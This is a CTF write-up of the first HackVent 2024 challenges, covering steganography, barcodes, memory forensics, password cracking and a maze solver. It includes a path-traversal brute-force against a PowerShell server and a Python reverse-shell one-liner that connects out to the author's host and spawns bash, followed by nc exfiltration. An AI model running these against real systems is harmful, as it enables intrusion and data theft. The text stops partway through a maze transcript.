0% found this document useful (0 votes)
59 views123 pages

HackVent 2024 WriteUp

The HackVent 2024 write-up details various challenges faced by participants, including tasks related to steganography, QR code manipulation, and password cracking. Each challenge provides a unique scenario where participants must analyze data, decode messages, or exploit vulnerabilities to retrieve flags. The document includes specific solutions and flags for each challenge, showcasing the problem-solving techniques used throughout the event.

Uploaded by

daubsi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
59 views123 pages

HackVent 2024 WriteUp

The HackVent 2024 write-up details various challenges faced by participants, including tasks related to steganography, QR code manipulation, and password cracking. Each challenge provides a unique scenario where participants must analyze data, decode messages, or exploit vulnerabilities to retrieve flags. The document includes specific solutions and flags for each challenge, showcasing the problem-solving techniques used throughout the event.

Uploaded by

daubsi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 123

HackVent 2024 Write-Up

by @daubsi, 27.12.2024

Table of Contents
[HV24.01] Twisted Colors ..................................................................................... 3
[HV24.02] Meet me at the bar ............................................................................... 5
[HV24.03] PowerHell: .......................................................................................... 7
[HV24.04] Missing QR .......................................................................................... 9
[HV24.H5] Last Password................................................................................... 12
[HV24.06] Chimney Windows ............................................................................. 17
[HV24.07] Happy Mazemas ................................................................................ 20
[HV24.08] Santa's Handwriting ........................................................................... 26
[HV24.09] Naughty and nice ............................................................................... 30
[HV24.10] Santa's Naughty Little Helper ............................................................. 40
[HV24.11] Christmas Dots ................................................................................. 53
[HV24.12] Santa's Proxy Puzzle .......................................................................... 57
[HV24.13] Server Hypervisor .............................................................................. 80
[HV24.14] Santa's Hardware Encryption ............................................................. 83
[HV24.15] Rudolph's Symphony ......................................................................... 86
[HV24.16] Santa's Signatures ............................................................................. 96
[HV24.17] Santa's Not So Secure Encryption Platform ....................................... 102
[HV24.18] Santa’s Sego.................................................................................... 106
[HV24.19] Santa's Workshop: A Technical Emergency ....................................... 108
[HV24.20] Santa's Modular Calculator .............................................................. 110
[HV24.21] Silent Post ....................................................................................... 112
[HV24.22] Santa's Secret Git Feature ................................................................ 115
[HV24.23] Santa's Packet Analyser ................................................................... 117
[HV24.24] Stranger Sounds .............................................................................. 118
[HV24.HE] Grinch’s secret ............................................................................... 119
[HV24.HM] Mrs Claus’s Secret ......................................................................... 120
[HV24.HH] Frosty's Secret ............................................................................... 121
[HV24.01] Twisted Colors

An elf accidentally mixed up the colors while painting the Christmas ornaments. Can you help
Santa fix it?

Analyse the GIF and get the flag.

Flag format: HV24{}

sha256sum of the GIF


file: 0c85246d9c94411ca3292d388f4959054036b7d5cc4c7e2cf07fd7315e86aa69

Solution:

Using various steganography tools didn´t provide anything helpful apart from that we see that
something is o in the bitplanes 0 and 1 when loading it in stegsolve.jar

Unfortunately, this was a deadend. Using exiftool we see that it’s a paletted image, so let’s use
gimp to look at the palette (Windows->Dockable dialogs->Colormap)

What we see here is a dark blue and black at the end

When we exchange the two colormap entries (from 00000 to


and v.v.)
suddenly the QR code changes to this:

and we get a new flag:


daubsi@t14:~$ zbarimg 04ab832f-50dd-4dea-a834-e0a34fa625b5_2.gif
QR-Code:HV24{Tw1st3d_c0lors_4re_fun!}
scanned 1 barcode symbols from 1 images in 0,01 seconds
Flag: HV24{Tw1st3d_c0lors_4re_fun!}
[HV24.02] Meet me at the bar

Introduction

December. Nightshift at Santa's gift factory. Gifts still to be wrapped are starting to pile up as
they cannot be processed any further. One elve still on duty sent Santa some pictures asking for
help as all the other elves are already celebrating at the bar. The elve has problems decrypting
the pictures as it is still learning the alphabet.

Hint #1: Not all bars but only the missing ones are needed to retrieve the flag. "HV24{" and "}"
are not part of the barcodes.

Analyze the images and get the flag.

Flag format: HV24{}

sha256sum of the
attachment: cdf6da7570730dfeed9eabb21bfc438cf594b54b24599a67c7b6f41718098fd8

We receive a zip archive with some EAN 8 bar code images which are broken

For example we get this image:

It is evident that one value is missing in all those images.

Using the information from:

https://de.wikipedia.org/wiki/European_Article_Number

https://barcode-coder.com/en/ean-8-specification-101.html

we can derive the missing values/bars for each image. The left part is always 1337 for every
image.
Completing every code (a graphic program with a grid makes it easier to overlay and count the
bar widths) according to the CRC algorithm gives us the following numbers from the missing
bars:

1,2,5,2,0,9,2,0,1,9,1,4,1,5,2,3

Now it needs to be considered that for some images we have to bar codes and for some only
one.

For the images with two codes we need to combine the digits: 12, 5, 20, 9, 20, 19, 14, 15, 23

Those digits are the indexes into the alphabet: 12 = l, 5 = e, 20 = t, ..

Flag: HV24{letitsnow}
[HV24.03] PowerHell:

Introduction

Oh no! The devil has found some secret information about santa! And even worse, he hides
them in a webserver written in powershell! Help Santa save christmas and hack yourself into the
server.

Start the resource and get the flag.

In case you encounter any issues during solving, please try to connect via the HL VPN

Flag format: HV24{}

sha256sum of the
handout: 3f8fe367efd41d17047642496260cbc97313ccc19484be151d4b07556d9b342a

In this challenge we’re given a powershell webserver with some simple authentication workflow
param($request, $response)

$username = $request.QueryString["username"]
$password = $request.QueryString["password"]

if (Test-Path "passwords/$username.txt") {
$storedPassword = Get-Content -Raw -Path "passwords/$username.txt"
$isAuthenticated = $true

for ($i = 0; $i -lt $password.Length; $i++) {


if ($password[$i] -cne $storedPassword[$i]) {
$isAuthenticated = $false
Start-Sleep -Milliseconds 500 # brute-force prevention
break
}
}

if ($isAuthenticated) {
if ($username -ceq "admin") {
$response.Redirect("/admin?username=$username&password=$password")
} else {
$response.Redirect("/dashboard?username=$username&password=$password")
}
} else {
. ./helpers.ps1 $response "<h1>Invalid password :c</h1>" "text/html"
}
} else {
. ./helpers.ps1 $response "<h1>User not found :c</h1>" "text/html"
}

What catches our eye is that the for loop where the pw characters are checked startes with
isAuthenticated set to true and waits for 500ms once a wrong character was entered. Also if the
pw is correct it redirects to the /admin page.

If the pw is actually empty we’ll as well get redirected to the admin page, but there the pw is
checked again and you get rejected.
So what we can do is feed once char at a time into the checker, bruteforcing every char with
ascii printable and check if we eventually hit the redirect to the /admin page. We know then, that
SO FAR the pw is correct. We can easily set this up with BURP intruder and manually add every
correct char to the input once we retrieve a status code 302 in the response.

Using this approach we can quickly find the PW “Meow:3” for the admin user, but… how sad:

There must be something else. The PW check is legit so we have no option here… but some…
RCE or LFI maybe? Quickly searching for where Get-Content is used, we see that actually the
password file is read according to the username! What if we… specify flag.txt as the username
and brute our flag using the same approach?

flag.txt unfortunately gives us “no such user” but once we specify “../flag.txt” as the username
we can use the same approach as before and BF the flag one by one…

And with some patience we get:

Flag: HV24{dQw4w9WgXcQ}
[HV24.04] Missing QR

Introduction

Oh my Santa, the same elf who once messed up the color table did it again. But this time he
seems to have been interrupted while painting the Christmas ball. Maybe you can help Santa
finish his job?

Solution:

Todays challenge picture looks almost like the one we had before on day1 and when we XOR
both images we get an interesting pattern:

We can clearly see a 4th marker in the lower right corner.

Massaging the pixeldata a big with XOR and AND, we can eventually end up with the following
bitstream, which when put into cyberchef gives us an interesting message. (“Fill in:”)
If we lay a grid over our existing QR code we can see that 5x is one grid step and we have exactly
15 pixels in between the markers. Doing the math with out bit stream without the prefix “Fill in:”,
this pretty good fills the QR code.

So lets have Chat GPT write a small program which worked right away:

https://chatgpt.com/share/67503fa9-4330-8002-a092-9165b22ef199
from PIL import Image

def fill_qr_code(image_path, bitstream_path, output_path):


# Load the image
img = Image.open(image_path)
img = img.convert("RGB") # Ensure the image is in RGB mode

# Verify image size


width, height = img.size
if width != 29 or height != 29:
raise ValueError("Image must be 29x29 pixels.")

# Read the bitstream from the file


with open(bitstream_path, "r") as f:
bitstream = f.read().strip()

# Convert bitstream to a list of integers


bits = [int(bit) for bit in bitstream]

# Create a pixel map


pixels = img.load()

# Define marker size


marker_size = 7 # 7x7 markers in corners

# Index for the bitstream


bit_index = 0

# Fill the white area with the bitstream


for y in range(29):
for x in range(29):
# Skip the top-left, top-right, and bottom-left markers
if (x < marker_size and y < marker_size) or \
(x >= 29 - marker_size and y < marker_size) or \
(x < marker_size and y >= 29 - marker_size):
continue

# Skip existing black pixels (marker borders)


if pixels[x, y] == (0, 0, 0):
continue
# Apply the bitstream
if bit_index < len(bits):
color = (0, 0, 0) if bits[bit_index] == 1 else (255, 255, 255)
pixels[x, y] = color
bit_index += 1

# Save the filled image


img.save(output_path)

# Example usage
if __name__ == "__main__":
# Input image path (with only markers)
input_image_path = "input_qr_code.png"

# Bitstream file path (one long sequence of 1s and 0s)


bitstream_file_path = "bitstream.txt"

# Output image path


output_image_path = "output_qr_code.png"

# Run the function


fill_qr_code(input_image_path, bitstream_file_path, output_image_path)
print(f"Filled QR code saved to {output_image_path}")

and generated the following QR code.

Recognizing the flag with zbarimg requires a 1px white border around everything, scanning with
the smart phone works like it is.

Flag: HV24{QR_$tu _h1dd3n_in_th3_c0lor_t@b1e}


[HV24.H5] Last Password

Introduction

Last Password, I gave you away and the very next day, all my accounts where astray. This year to
save me from tears, I'll give it to no one.

Please use the download mirrors first to not put too much stress on the HL infrastructure.

Download
mirror: https://1drv.ms/u/c/0ee8a2263bd035f8/EQlBzcb6TMVKq42ODwd482wBSFPlUQ9QRAU
WF97AmItunA?e=F7aMWc

Download mirror: https://gofile.io/d/utChqZ

Analyze the file and get the flag.

Flag format: HV24{}

sha256sum of last-
password.zip: 84d0d36db1c5f4dfc63286d9f28ee9d852fdbbe8d99890d993b413372bcb6150

sha256sum of dump.raw: eedb621a62393714dfc04b6cdf8654c8b4cb3d20dc0b9 144 922bee


b3268e

We can unpack this dump image and run volatility3 on it.


$ vol -f ../ch5/dump.raw windows.pstree | less -S

lists us all processes…

So we have notepad, so ice, winrar, … (An open youtube link in a browser, that we won’t fail for
;-) )
Winrar references a file secret.7z. Now this looks interesting. Let’s try to get it
$ vol3 vol -f ../ch5/dump.raw windows.filescan.FileScan | grep secret
0xc08339350e20.0\Users\xtea418\Documents\Personal\secret.7z
0xc0833cb64b40 \Users\xtea418\Documents\Personal\secret.7z
0xc0833cb65e00 \Users\xtea418\Documents\Personal\secret.7z

$ vol3 vol -f ../ch5/dump.raw windows.dumpfiles --virtaddr 0xc08339350e20


Volatility 3 Framework 2.8.0
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result

DataSectionObject 0xc08339350e20 secret.7z Error dumping file


SharedCacheMap 0xc08339350e20 secret.7z
file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-2.vacb

$ 7z x file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-2.vacb

7-Zip (z) 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit arm_v:8 locale=en_US.UTF-8 Threads:12 OPEN_MAX:65535, ASM

Scanning the drive for archives:


1 file, 262144 bytes (256 KiB)

Extracting archive: file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-


2.vacb

Enter password:ffff

ERROR: file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-2.vacb
Cannot open encrypted archive. Wrong password?

Can't open as archive: 1


Files: 0
Size: 0
Compressed: 0

Hm… now this is definitely something…

In past challenges often notepad.exe holds some infos. Unfortunately vol3 does not have a
plugin for extracting notepad.exe contents, but Volatility plugin contest to the rescue!

https://medium.com/@rifqiaramadhan/volatility-3-plugin-kusertime-notepad-sticky-evtxlog-
f0e8739eee55

We install the notepad.py plugin:


cp vol3-plugins/*.py .venv/lib/python3.13/site-
packages/volatility3/plugins/windows/

And run it
vol3 vol -f ../ch5/dump.raw windows.notepad.Notepad

Volatility 3 Framework 2.8.0

Progress: 100.00 PDB scanning finished

PID Image Probable Strings


7900 notepad.exe 0 5 ` ` l 3 ( $ $ * , 0 =::=::\
ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\xtea418\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program
Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=DESKTOP-MB2MGE7 ComSpec=C:\Windows\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData

\BaseNamedObjects\[CoreUI]-PID(4160)-TID(4132) 1e6e6bc4-dd60-46b4-9e84-70f923d5629a
7 \BaseNamedObjects\[CoreUI]-PID(7900)-TID(7816) fc205108-f731-44a3-a019-
8c2b4cb39c88 8 8 8 8 Consolas nsole ER\S 435439-1930665703-3246598564-1001
` ` @ Security-SPP-GenuineLocalStatus ` ` D never gonna give you my last
password: t1s1s4t0t4llys3cur3p4ssw0rdn0rocky0utxt Consolas ( V i

Oh.. nice.. What’s that? A reference to rockyou? Could it be that simple?


~/john-tools/7z2john.pl ./
file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-2.vacb
file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-
2.vacb:$7z$1$19$0$$16$bbdbbf3fa3bf8efcdc05153543d31569$433149696$144$140$b0786fd9d9
562032270c06f5ce5a2b0f22c76b4bd6ed13b94da50d7c4756fa4c2cdb5c08b4d8a5ec26a7872bc076c
2b2ad88c31a5e153dd99658ba5825c22fba90ef6f2b30cfbdb8fb538980c15493a094c82576a8259822
b232c0c787f9481ea556ae50c51af6ea3016891025b44bc2c4c262a1d4a29afcddd080f65d747b47f78
a4b41aa35263a908d551789595f36$166$5d00100000

$ ~/john-tools/7z2john.pl ./
file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-2.vacb >
7z.hash
$ ~/john-tools/john rar.hash --wordlist=/opt/rockyou/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 4 for all loaded hashes
Cost 3 (compression type) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 0.00% (ETA: 2024-12-10 19:38) 0g/s 27.46p/s 27.46c/s 27.46C/s
samantha..family
0g 0:00:00:06 0.00% (ETA: 2024-12-11 15:15) 0g/s 29.62p/s 29.62c/s 29.62C/s
alyssa..jeremy
0g 0:00:00:27 0.01% (ETA: 2024-12-11 14:30) 0g/s 34.13p/s 34.13c/s 34.13C/s
xbox360..diamonds
0g 0:00:03:49 0.05% (ETA: 2024-12-10 15:48) 0g/s 40.08p/s 40.08c/s 40.08C/s
weedman..rubberducky
santa1 (ffffc0833cb65e00-secret.7z)
1g 0:00:07:30 DONE (2024-12-05 15:47) 0.002221g/s 40.06p/s 40.06c/s 40.06C/s
sooty1..pokemon123
Use the "--show" option to display all of the cracked passwords reliably
Session completed

$ 7z x file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-1.vacb

7-Zip (z) 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit arm_v:8 locale=en_US.UTF-8 Threads:12 OPEN_MAX:65535, ASM

Scanning the drive for archives:


1 file, 262144 bytes (256 KiB)

Extracting archive: file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-


1.vacb
Enter password:santa1

WARNINGS:
There are data after the end of archive

--
Path = file.0xc08339350e20.0xc08338120a20.SharedCacheMap.secret.7z-1.vacb
Type = 7z
WARNINGS:
There are data after the end of archive
Physical Size = 65264
Tail Size = 196880
Headers Size = 240
Method = LZMA2:96k 7zAES
Solid = -
Blocks = 1

Everything is Ok

Archives with Warnings: 1

Warnings: 1
Folders: 1
Files: 1
Size: 67260
Compressed: 262144

$ ls secret
image.jpg
$ open secret/image.jpg

$ exiftool secret/image.jpg
ExifTool Version Number : 13.00
File Name : image.jpg
Directory : secret
File Size : 67 kB
File Modification Date/Time : 2024:11:24 15:42:51+01:00
File Access Date/Time : 2024:12:05 16:07:07+01:00
File Inode Change Date/Time : 2024:12:05 16:07:06+01:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
XMP Toolkit : Image::ExifTool 13.03
Description :
HV24{t0t4lly_s3cur3_p4ssw0rd_l1k3_4ctu4lly_s0_v3ry_much_s3cur3}
Image Width : 500
Image Height : 500
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 500x500
Megapixels : 0.250

Flag: HV24{t0t4lly_s3cur3_p4ssw0rd_l1k3_4ctu4lly_s0_v3ry_much_s3cur3}
[HV24.06] Chimney Windows
Introduction

Santa has seen it. He is done with Linux - it's just too hard. So he installed Windows. Sadly, he
also lost his flag while doing so. Help him find it.

Hint: Ctrl+Z and stty raw -echo; fg helps fix the VM console.

Start the service and get the flag.

Flag format: HV24{}

Todays challenge looks like a normal Windows shell and there’s barely nothing on that box apart
from a rick-rolling notes.txt

However, when we execute the start /? command we see this:


✘ daubsi@bigigloo  ~  ncat 152.96.15.7 5000
=======================
HV24 VM instancer
=======================

Please wait while we create your VM...

Your VM is ready!
Press enter, if you don't see any prompt.
Microsoft Windows 10.0.19043

C:\users\santa>^Z
[1] + 2392384 suspended ncat 152.96.15.7 5000
✘ daubsi@bigigloo  ~  stty raw -echo; fg
[1] + 2392384 continued ncat 152.96.15.7 5000

C:\users\santa>start

C:\users\santa>start /?
Start a program, or open a document in the program normally used for files
with that suffix.
Usage:
start [options] program_filename [...]
start [options] document_filename

Options:
"title" Specifies the title of the child windows.
/d directory Start the program in the specified directory.
/b Don't create a new console for the program.
/i Start the program with fresh environment variables.
/min Start the program minimized.
/max Start the program maximized.
/low Start the program in the idle priority class.
/normal Start the program in the normal priority class.
/high Start the program in the high priority class.
/realtime Start the program in the realtime priority class.
/abovenormal Start the program in the abovenormal priority class.
/belownormal Start the program in the belownormal priority class.
/node n Start the program on the specified NUMA node.
/affinity mask Start the program with the specified affinity mask.
/wait Wait for the started program to finish, then exit with its
exit code.
/unix Use a Unix filename and start the file like Windows
explorer.
/ProgIDOpen Open a document using the specified progID.
/? Display this help and exit.

Which mentions “wine” :-O

Using that information we try to run a UNIX command and indeed:


C:\users\santa>start /exec /bin/ls /

C:\users\santa>bin entrypoint.sh home lib64 mnt root srv usr


boot etc lib libx32 opt run sys var
dev flag.tar.gz lib32 media proc sbin tmp

C:\users\santa>start /exec /usr/bin/zgrep -a HV24 /flag.tar.gz

IHDRusO#tEXtCommentHV24{w41t_1t5_4ll_l1nux???}_ua IDATx[v$I-
7<HfUW?νKҗF?-MC&(}+ds
b#<lpHR(R$w?ww;;Լ8H|HqqS3w7W0˼0>

cԋz,pҚ̡/gx<T=t?wKgL2u&uy
Ӵ
ww[ty
#^
쨻K֚
xb
ws4SUU3x[]|`‫ޝ‬xweNR?Ȣzs>u~.>)g')yB#H4BH4B0+L}x='^r
zXI$ďPHr,w3s7sgs&J)Qo*7nI"M?jOI:^Hk"$
`V$9XY +,'\za%%+Kz‫ﭷ‬Zo5B 840yiҤ8gF?%!i
s"6"\DP83༦b:f㣼
zw녚w8_Fcl?38.!_(ip*ƀ?CA
bEŕ{4)&)wG:cCM]5$‫ل‬g2WKVnAJFXkmzN/콾X,7 O䉵

uGBR4ȵVzϻKr#&Hm.ַ
M

It would be implausible to say I solved it that fast. Indeed I went down quite a rabbit hole:
C:\users\santa>start /unix /usr/bin/tar xzf /flag.tar.gz -C /home/santa

The main problem was, that the shell did not actually spit out anything to stdout with /unix
which I originally tried all the time. All the attempts with redirecting stdout to stderr via 1>&2
failed so the last resort was a reverse shell which luckily worked, because python was installed.

Of course we need to connect to the HL VPN first.


start /unix /usr/bin/python3 -c "import pty;import socket,os;s=socket

.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<vpn address>',4444));o

s.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin

/bash')"

This command is the usual to be found command in the internet, e.g. here
https://gist.github.com/lucasgates/0c6330c582d0ccf52fad129d5e7e9de7
with the di erence that we had to switch ‘ and “ in the command to make it work.

I started a nc on my Kali box and had a reverse shell which certainly made things much simpler.
There is no nc nor ncat installed on the box so I downloaded a static nc from
https://github.com/yunchih/static-binaries/blob/master/nc and hosted it on my Kali box with a
python3 web server (-m http.server) and then downloaded into the container with wget,
because wget was readily available.

Then it was a matter of exfil via nc to the Kali box and looking at the picture which rickrolled you
again, but the exifdata showed the flag:

Flag: HV24{w41t_1t5_4ll_l1nux???}
[HV24.07] Happy Mazemas
Introduction

A clumsy elf lost all the gifts in a magical maze right before Christmas Eve. Now, with time of the
essence, Santa must navigate this maze, collecting every gift in the most optimal way - the
shortest path possible - to save Christmas. Can you guide him to gather all the gifts and reach
the exit before it's too late?

Solution:

This is a classical maze solver problem over the network. We have to find the shortest path in a
maze for collecting all the gifts and then finding the exit. The problem is, that the server side
finds the perfect shortest route and you need to find that one too. Plus you have to do all this
within one minute.

I came up with this code. It is NOT optimal and WONT find the perfect route everytime, but after
5-10 iterations the flag drops eventually.
import heapq
import re
from collections import deque
from pwn import remote

# Helper function to check if a move is valid (not hitting a wall or out of bounds)
def is_valid_move(grid, position):
"""Check if the position is within the bounds of the grid and not a wall."""
y, x = position
if y < 0 or y >= len(grid) or x < 0 or x >= len(grid[0]):
return False
return grid[y][x] != '#'

# BFS function to find the shortest path from start to goal


def bfs_shortest_path(grid, start, goal):
"""Breadth-first search to find the shortest path from start to goal."""
queue = deque([(start, [])])
visited = set([start])
while queue:
(current, path) = queue.popleft()
if current == goal:
return path # Return the path only
y, x = current
for dy, dx, move in [(-1, 0, 'w'), (1, 0, 's'), (0, -1, 'a'), (0, 1, 'd')]:
new_pos = (y + dy, x + dx)
if is_valid_move(grid, new_pos) and new_pos not in visited:
visited.add(new_pos)
queue.append((new_pos, path + [move]))
return [] # Return an empty list if no path is found

# Greedy TSP approach to visit all gifts


def tsp_greedy(grid, start, gifts):
"""Greedy approach to solve the TSP problem for visiting all gifts."""
unvisited = set(gifts)
current_position = start
path = []

while unvisited:
# Find the nearest target using BFS
nearest_target = None
shortest_path = None
for target in unvisited:
path_to_target = bfs_shortest_path(grid, current_position, target)
if nearest_target is None or len(path_to_target) < len(shortest_path):
nearest_target = target
shortest_path = path_to_target

# Add the path to the nearest target to the route


path.extend(shortest_path)
current_position = nearest_target
unvisited.remove(nearest_target)

return path

# Function to extract the maze from server response using regex


def extract_maze(data):
"""Extracts the maze portion from the server response."""
# Regex to match the maze part, this will match the grid and exclude the
headers.
maze_regex = r"(?:#.*\n)+"
match = re.search(maze_regex, data, re.DOTALL)
if match:
maze_string = match.group(0).strip().splitlines()
return [list(row) for row in maze_string][:-1]
return []

# Function to solve the maze, collect gifts and then go to exit


def solve_maze_with_tsp(grid, start, gifts, exit):
"""Solves the maze by first collecting all gifts and then going to exit."""
# Step 1: First collect all the gifts, using the greedy approach
route_to_collect_gifts = tsp_greedy(grid, start, gifts)

# Step 2: Recompute the final position after collecting all gifts


current_position = start
for move in route_to_collect_gifts:
if move == 'w':
current_position = (current_position[0] - 1, current_position[1])
elif move == 's':
current_position = (current_position[0] + 1, current_position[1])
elif move == 'a':
current_position = (current_position[0], current_position[1] - 1)
elif move == 'd':
current_position = (current_position[0], current_position[1] + 1)

# Step 3: Now, after collecting all gifts, go to the exit


route_to_exit = bfs_shortest_path(grid, current_position, exit)
# Combine the paths: first the gifts, then the exit
return route_to_collect_gifts + route_to_exit

# Function to parse and solve the maze from the server


def solve_remote_maze(remote_ip, remote_port):
"""Connects to the server, solves the maze, and sends the solution back."""
# Connect to the remote server
connection = remote(remote_ip, remote_port)

# First receive and print the welcome header


data = connection.recvuntil(b"Move (w/a/s/d):").decode()

while True:
print(data)
# Extract the maze
grid = extract_maze(data)
if not grid:
print("Failed to extract maze!")
break

# Find positions: start (s), gifts (x), and escape (e)


start = None
gifts = []
escape = None
for y in range(len(grid)):
for x in range(len(grid[0])):
if grid[y][x] == 's':
start = (y, x)
elif grid[y][x] == 'x':
gifts.append((y, x))
elif grid[y][x] == 'e':
escape = (y, x)

# Solve the maze and get the path


path = solve_maze_with_tsp(grid, start, gifts, escape)

# Send each move to the server one at a time


print(f"Optimal route: {''.join(path)}")
print(f"Current: ", end='')
for idx, move in enumerate(path):
connection.sendline(move.encode())
print(move,end='')
try:
data = connection.recvuntil(b"Move
(w/a/s/d):").decode()
except:
print(connection.recv(timeout=1).decode())
exit()
if idx == len(path):
print(data)

print("")
# After reaching the escape, wait for a new maze or exit message
if "him through once more." or "assist him again" in data:
print("Completed maze, receiving new maze.")
else:
print("Exiting game.")
break

# Example usage
if __name__ == "__main__":
# Connect to the remote server and solve the maze
remote_ip = "157.90.230.139" # Replace with the actual IP address
remote_port = 8000 # Replace with the actual port
solve_remote_maze(remote_ip, remote_port)

Transcript:

Ho Ho Ho! It's Merry Mazemas!


Guide Santa through the maze to collect all the gifts in the most efficient way
possible before exiting.
s = Santa
x = Gift
e = Exit
###########
#s# #
# ##### # #
# #e# #
##### ### #
#x # # #
# ##### # #
# x# #
# ####### #
# #
###########
Move (w/a/s/d):
Optimal route: ssddddssddssaaaaaawwssssddddddddwwwwwwwwaass
Current: ssddddssddssaaaaaawwssssddddddddwwwwwwwwaass
Completed maze, receiving new maze.

Congratulations! You've masterfully guided Santa through the maze, collecting every
gift with the perfect path!
Oh no, it seems the exit has led Santa into yet another maze! Please lend a helping
hand to guide him through once more.
#########################
#s # # #x # #
### # # # # #####x# # # #
# # # # # # # # # # #
# # # ##### # # # ### # #
# # # # # # x # # #
# ### # # ##### # # # # #
# # # # # # # # #
# ##### ### # ######### #
# # # # #
######### ######### # # #
# x# # # # #
### # # ### # # ####### #
# # # # # # #
# ### ### # # ###########
# # # # # #e # #
# ### ##### # ### # # # #
# # # # # # #
# # ####### # # ####### #
# # # # # # # #
# # # # ### ##### # #####
# # # # # # #
# # ############### ### #
# # #
#########################
Move (w/a/s/d):
Optimal route:
ddssssaassssddddddwwwwaawwwwddssddwwddssssddwwddssssaassddddddssddwwddwwwwwwwwaasss
sssaawwaawwwwaaaaddddssssddssddwwwwwwddssssssssssssaaaaaaaawwaassssssssddwwddwwddss
ddwwddssssaaaassssaaaaaaaaaaaaaaaawwwwwwaawwwwddwwddaassaassssddssssssddddddddddddd
dddwwwwddddwwwwaassaawwaaaa
Current:
ddssssaassssddddddwwwwaawwwwddssddwwddssssddwwddssssaassddddddssddwwddwwwwwwwwaasss
sssaawwaawwwwaaaaddddssssddssddwwwwwwddssssssssssssaaaaaaaawwaassssssssddwwddwwddss
ddwwddssssaaaassssaaaaaaaaaaaaaaaawwwwwwaawwwwddwwddaassaassssddssssssddddddddddddd
dddwwwwddddwwwwaassaawwaaaa
Completed maze, receiving new maze.

Congratulations! You've masterfully guided Santa through the maze, collecting every
gift with the perfect path!
Oh dear, the exit has whisked Santa away to another maze! Could you kindly assist
him again?
###################################################
#s# # # # # # #
# ### ### ##### ### ### ##### ##### # ##### ### # #
# # # # # # # # # # # # # #
### # ########### # # ### # ##### # # # # ### ### #
# # # # # # x # # # # # # # #
# # ### ######### # ######### # ####### ### ### # #
# # # x # # #x# # # # # # #
# ### ### ##### ##### # ### # ### # # # # ### ### #
# # # # # # # # # # # # # # # #
# ##### ##### ### ### # # ### ### # # # ####### # #
# # # #e# # # # # # # # #
# ####### ### # ### ##### # ########### # ### # ###
# # # # # # # # # # #
##### ### # ### # ### ######### ######### ####### #
# # # # # # # x# # #
# # ### ########### # # ######### ####### # #######
# # # # # # # # # # # # #
### ### # ##### # ####### # # # ####### ### # ### #
# # # # # # # # # # # # #
# ### ##### # ########### ### ##### # # # ####### #
# # # # # # # # # # # #
# ##### # # # ######### ### # ##### # # ####### # #
# # # # # # # # # # # #
############# ##### # # ######### # # ##### ##### #
# # # # # # # # # # # # #
# # # # # # ### # # ######### # ####### ### # #####
# # # # # # # # # # x # # #
# ##### ######### ### # ### ##### # # ######### # #
# # # # # # # # # # # # #
# ### ##### ### ### # ### # # # # ##### # ### ### #
# # # # # # # # # # # # # # # # #
# # ### ##### ##### # ### # # # # # # ### # #######
# # # # # # # # # # # # # # # # #
### # ##### # # # ### # ####### ### ### # # # ### #
# # # # # # # # # # # # # # #
# ##### # ##### ####### ### # # # ### ########### #
# # # # # # # # # # #
# # ####### # # # ### # # ##### ##### # # # ##### #
# # # # # # # #x# # # # # # # # # # #
# ### ### # # # # # ##### # # ### # # # ##### # ###
# # # # # # # # # # # # # # # # # #
### ### # ##### # # ### # # ### # # # # # # # ### #
# # # # # # # # # # # # # # # # #
# ### ### # ##### # ### # ### # # # # ##### #######
# # # # # # # # # # # # # #
# # ### ######### # # # #x##### ### ##### # ##### #
# # # # # x# # # # # # # # # #
# ### # # # # ####### # ##### ########### ### # # #
# # # # # # #
###################################################
Move (w/a/s/d):
Optimal route:
ssddssssddssddssaaaaaassddddssddssssaassaaaassddddddwwddssddwwwwaawwddddddssddwwddw
waawwddwwaawwaawwaaaaaaaawwaawwwwddddssddddddwwddddssssssddssssddwwwwddddssaassssaa
aassssddwwddddddddwwddddddddwwwwwwwwwwddssddssaassddddwwddwwaawwaawwaaaaaassssaawww
waaaaaassddddssaassddssssaaaawwwwwwaawwaassaaadddwwddssddssssssddddwwwwaawwddwwaaaa
wwddddddssssddwwwwddddddddddssddssssssssaassddssaaaaaassssaassddddddssddssaaaassdds
sddssaaaawwaaaassssssaawwaawwaassssaassddddssssssssddddssssaaaaaaaaaaaawwaaaawwwwww
wwwwddwwddssddwwwwwwwwaassssaawwwwwwaaaassddssssaassssssaawwaaaassssssssssaaaassddd
dddddwwwwddwwwwaaaawwssddddssssaassssaaaaaaaaaawwaassaawwwwddwwwwwwaaaassddssaassaa
